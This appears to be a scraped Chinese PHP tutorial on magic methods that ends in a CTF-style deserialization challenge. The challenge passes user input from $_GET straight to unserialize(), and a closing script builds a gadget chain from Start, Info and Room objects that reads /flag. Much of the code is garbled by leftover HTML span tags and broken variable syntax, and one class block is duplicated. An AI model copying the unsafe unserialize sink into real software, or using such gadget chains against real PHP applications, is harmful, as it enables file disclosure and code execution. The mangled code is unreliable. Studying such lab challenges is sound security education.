}
?>
<\/p>

echo "你好！\n";
}<\/p>

\/**<\/p>

当方法不存在时调用__call()函数
*\/
function __call($F<\/span>, $<\/span>A)
{
echo "你所调用的函数：" . $F<\/span> . "(参数："<\/span> ; print_r($<\/span>A);
echo "不存在!\n";
}
}
$Person<\/span> = new<\/span> Person(); $<\/span>Person->say();
$Person->run("不存在!"); \/\/ 调用不存在的方法，则自动调用了对象中的__call()方法
?>
<\/li> <\/ul>

}
public function __get($Name)
{<\/p>

return $this<\/span>->$<\/span>Name;
}
}
$NAME<\/span> = new<\/span> Person("张三"<\/span>); \/\/ 通过Person类实例化的对象，并通过构造方法为属性赋初值<\/span> echo<\/span> "名字："<\/span> . $<\/span>NAME->name; \/\/ 直接访问私有属性name，因为私有属性不可直接访问所以自动调用了__get()方法可以间接获取
?>
<\/p>

public function __construct($name<\/span>=""<\/span>, $<\/span>age, $sex<\/span><\/span>) <\/span>{ $<\/span>this->name = $name<\/span>; $<\/span>this->age = $age<\/span>; $<\/span>this->sex = $sex;
}<\/p>

public function __isset($content<\/span><\/span>) <\/span>{ echo<\/span> "在类外部使用isset()函数测定私有成员{$<\/span>content}，自动调用__isset()\n";
echo isset($this<\/span>->$<\/span>content);
}
}<\/p>

$person<\/span> = new<\/span> Person("张三"<\/span>, 11<\/span>,"男"<\/span>); \/\/ 初始赋值<\/span> echo<\/span> "----------------------------------------\n"<\/span>; echo<\/span> "sex为公有成员变量\n"<\/span>; echo<\/span> isset<\/span>($<\/span>person->sex),"\n";
echo "----------------------------------------\n";
echo isset($person<\/span>->name),"\n"<\/span>; echo<\/span> "----------------------------------------\n"<\/span>; echo<\/span> isset<\/span>($<\/span>person->age),"\n";
echo "----------------------------------------\n";
?>
<\/p>

public function __unset($content<\/span><\/span>) <\/span>{ echo<\/span> "在类外部使用unset()函数来删除私有成员时自动调用的\n"<\/span>; echo<\/span> isset<\/span>($<\/span>this->$content);
}
}<\/p>

$person<\/span> = new<\/span> Person("李四"<\/span>, 11<\/span>,"男"<\/span>); \/\/ 初始赋值<\/span> echo<\/span> "----------------------------------------\n"<\/span>; unset<\/span>($<\/span>person->sex);
echo "删除成功\n";
echo "----------------------------------------\n";
unset($person<\/span>->name); echo<\/span> "\n"<\/span>; echo<\/span> "----------------------------------------\n"<\/span>; unset<\/span>($<\/span>person->age);
echo "\n";
echo "----------------------------------------\n";
?>
<\/p>

public function __construct($name<\/span>, $<\/span>age, $sex<\/span><\/span>) <\/span>{ $<\/span>this->name = $name<\/span>; $<\/span>this->age = $age<\/span>; $<\/span>this->sex = $sex<\/span>; } public<\/span> function<\/span> __sleep<\/span>(<\/span>) <\/span>{ echo<\/span> "调用我__sleep()方法\n"<\/span>; return<\/span> array<\/span>('name'<\/span>, 'age'<\/span>); } } $<\/span>HH = new He("张三",11,"男"); \/\/ 初始赋值
echo serialize($HH);
echo "\n";
?>
<\/p>

public function __construct($name<\/span>, $<\/span>age, $sex<\/span><\/span>) <\/span>{ $<\/span>this->name = $name<\/span>; $<\/span>this->age = $age<\/span>; $<\/span>this->sex = $sex<\/span>; } public<\/span> function<\/span> __wakeup<\/span>(<\/span>) <\/span>{ echo<\/span> "当在类外部使用unserialize()时会调用这里的__wakeup()方法\n"<\/span>; $<\/span>this->name = '小吴';
$this->sex = '女';
}
}<\/p>

$p<\/span> = new<\/span> People('小陈'<\/span>,10<\/span>,'男'<\/span>); $<\/span>D=serialize($p<\/span>); echo<\/span> $<\/span>D;
echo "\n";
echo "----------------------------------------------------------------\n";
var_dump(unserialize(serialize($p)));
?>
<\/p>

class Start
{
public $name<\/span>='guest'<\/span>; public<\/span> $<\/span>flag='syst3m("cat 127.0.0.1\/etc\/hint");';<\/p>

<span class="hljs-keyword">public<\/span> <span class="hljs-function"><span class="hljs-keyword">function<\/span> <span class="hljs-title">__construct<\/span>(<span class="hljs-params"><\/span>)<\/span>{
    <span class="hljs-keyword">echo<\/span> <span class="hljs-string">"I think you need \/etc\/hint . Before this you need to see the source code"<\/span>;
}

<span class="hljs-keyword">public<\/span> <span class="hljs-function"><span class="hljs-keyword">function<\/span> <span class="hljs-title">_sayhello<\/span>(<span class="hljs-params"><\/span>)<\/span>{
    <span class="hljs-keyword">echo<\/span> <span class="hljs-keyword">$this<\/span>-&gt;name;
    <span class="hljs-keyword">return<\/span> <span class="hljs-string">'ok'<\/span>;
}

<span class="hljs-keyword">public<\/span> <span class="hljs-function"><span class="hljs-keyword">function<\/span> <span class="hljs-title">__wakeup<\/span>(<span class="hljs-params"><\/span>)<\/span>{
    <span class="hljs-keyword">echo<\/span> <span class="hljs-string">"hi"<\/span>;
    <span class="hljs-keyword">$this<\/span>-&gt;_sayhello();
}
<span class="hljs-keyword">public<\/span> <span class="hljs-function"><span class="hljs-keyword">function<\/span> <span class="hljs-title">__get<\/span>(<span class="hljs-params"><span class="hljs-variable">$cc<\/span><\/span>)<\/span>{
    <span class="hljs-keyword">echo<\/span> <span class="hljs-string">"give you flag : "<\/span>.<span class="hljs-keyword">$this<\/span>-&gt;flag;
    <span class="hljs-keyword">return<\/span> ;
}
<\/code><\/pre>
}<\/p>
class Info

{

private \(phonenumber<\/span>=<span class="hljs-number">123123<\/span>; <span class="hljs-keyword">public<\/span> <span class="hljs-variable">\)<\/span>promise='I do';<\/p>
<span class="hljs-keyword">public<\/span> <span class="hljs-function"><span class="hljs-keyword">function<\/span> <span class="hljs-title">__construct<\/span>(<span class="hljs-params"><\/span>)<\/span>{
    <span class="hljs-keyword">$this<\/span>-&gt;promise=<span class="hljs-string">'I will not !!!!'<\/span>;
    <span class="hljs-keyword">return<\/span> <span class="hljs-keyword">$this<\/span>-&gt;promise;
}

<span class="hljs-keyword">public<\/span> <span class="hljs-function"><span class="hljs-keyword">function<\/span> <span class="hljs-title">__toString<\/span>(<span class="hljs-params"><\/span>)<\/span>{
    <span class="hljs-keyword">return<\/span> <span class="hljs-keyword">$this<\/span>-&gt;file[<span class="hljs-string">'filename'<\/span>]-&gt;ffiillee[<span class="hljs-string">'ffiilleennaammee'<\/span>];
}
<\/code><\/pre>
}<\/p>
class Room

{

public \(filename<\/span>=<span class="hljs-string">'\/flag'<\/span>; <span class="hljs-keyword">public<\/span> <span class="hljs-variable">\)<\/span>sth_to_set;

public $a='';<\/p>
<span class="hljs-keyword">public<\/span> <span class="hljs-function"><span class="hljs-keyword">function<\/span> <span class="hljs-title">__get<\/span>(<span class="hljs-params"><span class="hljs-variable">$name<\/span><\/span>)<\/span>{
    <span class="hljs-variable">$function<\/span> = <span class="hljs-keyword">$this<\/span>-&gt;a;
    <span class="hljs-keyword">return<\/span> <span class="hljs-variable">$function<\/span>();
}

<span class="hljs-keyword">public<\/span> <span class="hljs-function"><span class="hljs-keyword">function<\/span> <span class="hljs-title">Get_hint<\/span>(<span class="hljs-params"><span class="hljs-variable">$file<\/span><\/span>)<\/span>{
    <span class="hljs-variable">$hint<\/span>=base64_encode(file_get_contents(<span class="hljs-variable">$file<\/span>));
    <span class="hljs-keyword">echo<\/span> <span class="hljs-variable">$hint<\/span>;
    <span class="hljs-keyword">return<\/span> ;
}

<span class="hljs-keyword">public<\/span> <span class="hljs-function"><span class="hljs-keyword">function<\/span> <span class="hljs-title">__invoke<\/span>(<span class="hljs-params"><\/span>)<\/span>{
    <span class="hljs-variable">$content<\/span> = <span class="hljs-keyword">$this<\/span>-&gt;Get_hint(<span class="hljs-keyword">$this<\/span>-&gt;filename);
    <span class="hljs-keyword">echo<\/span> <span class="hljs-variable">$content<\/span>;
}
<\/code><\/pre>
}<\/p>
if(isset(\(_GET<\/span>[<span class="hljs-string">'hello'<\/span>])){ unserialize(<span class="hljs-variable">\)<\/span>_GET['hello']);

}else{

$hi = new  Start();

}<\/p>
?>

<\/p>

class Start

{

public \(name<\/span>=<span class="hljs-string">'guest'<\/span>; <span class="hljs-keyword">public<\/span> <span class="hljs-variable">\)<\/span>flag='syst3m("cat 127.0.0.1\/etc\/hint");';<\/p>
<span class="hljs-keyword">public<\/span> <span class="hljs-function"><span class="hljs-keyword">function<\/span> <span class="hljs-title">__construct<\/span>(<span class="hljs-params"><\/span>)<\/span>{
    <span class="hljs-keyword">echo<\/span> <span class="hljs-string">"I think you need \/etc\/hint . Before this you need to see the source code"<\/span>;
}

<span class="hljs-keyword">public<\/span> <span class="hljs-function"><span class="hljs-keyword">function<\/span> <span class="hljs-title">_sayhello<\/span>(<span class="hljs-params"><\/span>)<\/span>{
    <span class="hljs-keyword">echo<\/span> <span class="hljs-keyword">$this<\/span>-&gt;name;
    <span class="hljs-keyword">return<\/span> <span class="hljs-string">'ok'<\/span>;
}

<span class="hljs-keyword">public<\/span> <span class="hljs-function"><span class="hljs-keyword">function<\/span> <span class="hljs-title">__wakeup<\/span>(<span class="hljs-params"><\/span>)<\/span>{
    <span class="hljs-keyword">echo<\/span> <span class="hljs-string">"hi"<\/span>;
    <span class="hljs-keyword">$this<\/span>-&gt;_sayhello();
}
<span class="hljs-keyword">public<\/span> <span class="hljs-function"><span class="hljs-keyword">function<\/span> <span class="hljs-title">__get<\/span>(<span class="hljs-params"><span class="hljs-variable">$cc<\/span><\/span>)<\/span>{
    <span class="hljs-keyword">echo<\/span> <span class="hljs-string">"give you flag : "<\/span>.<span class="hljs-keyword">$this<\/span>-&gt;flag;
    <span class="hljs-keyword">return<\/span> ;
}
<\/code><\/pre>
}<\/p>
class Info

{

private \(phonenumber<\/span>=<span class="hljs-number">123123<\/span>; <span class="hljs-keyword">public<\/span> <span class="hljs-variable">\)<\/span>promise='I do';<\/p>
<span class="hljs-keyword">public<\/span> <span class="hljs-function"><span class="hljs-keyword">function<\/span> <span class="hljs-title">__construct<\/span>(<span class="hljs-params"><\/span>)<\/span>{
    <span class="hljs-keyword">$this<\/span>-&gt;promise=<span class="hljs-string">'I will not !!!!'<\/span>;
    <span class="hljs-keyword">return<\/span> <span class="hljs-keyword">$this<\/span>-&gt;promise;
}

<span class="hljs-keyword">public<\/span> <span class="hljs-function"><span class="hljs-keyword">function<\/span> <span class="hljs-title">__toString<\/span>(<span class="hljs-params"><\/span>)<\/span>{
    <span class="hljs-keyword">return<\/span> <span class="hljs-keyword">$this<\/span>-&gt;file[<span class="hljs-string">'filename'<\/span>]-&gt;ffiillee[<span class="hljs-string">'ffiilleennaammee'<\/span>];
}
<\/code><\/pre>
}<\/p>
class Room

{

public \(filename<\/span>=<span class="hljs-string">'\/flag'<\/span>; <span class="hljs-keyword">public<\/span> <span class="hljs-variable">\)<\/span>sth_to_set;

public $a='';<\/p>
<span class="hljs-keyword">public<\/span> <span class="hljs-function"><span class="hljs-keyword">function<\/span> <span class="hljs-title">__get<\/span>(<span class="hljs-params"><span class="hljs-variable">$name<\/span><\/span>)<\/span>{
    <span class="hljs-variable">$function<\/span> = <span class="hljs-keyword">$this<\/span>-&gt;a;
    <span class="hljs-keyword">return<\/span> <span class="hljs-variable">$function<\/span>();
}

<span class="hljs-keyword">public<\/span> <span class="hljs-function"><span class="hljs-keyword">function<\/span> <span class="hljs-title">Get_hint<\/span>(<span class="hljs-params"><span class="hljs-variable">$file<\/span><\/span>)<\/span>{
    <span class="hljs-variable">$hint<\/span>=base64_encode(file_get_contents(<span class="hljs-variable">$file<\/span>));
    <span class="hljs-keyword">echo<\/span> <span class="hljs-variable">$hint<\/span>;
    <span class="hljs-keyword">return<\/span> ;
}

<span class="hljs-keyword">public<\/span> <span class="hljs-function"><span class="hljs-keyword">function<\/span> <span class="hljs-title">__invoke<\/span>(<span class="hljs-params"><\/span>)<\/span>{
    <span class="hljs-variable">$content<\/span> = <span class="hljs-keyword">$this<\/span>-&gt;Get_hint(<span class="hljs-keyword">$this<\/span>-&gt;filename);
    <span class="hljs-keyword">echo<\/span> <span class="hljs-variable">$content<\/span>;
}
<\/code><\/pre>
}

\(a<\/span> = <span class="hljs-keyword">new<\/span> Start(); <span class="hljs-variable">\)<\/span>a->name = new Info();

\(a<\/span>->name->file[<span class="hljs-string">"filename"<\/span>] = <span class="hljs-keyword">new<\/span> Room(); <span class="hljs-variable">\)<\/span>a->name->file["filename"]->a= new Room();

echo "\n";

echo serialize($a);

?>

<\/p>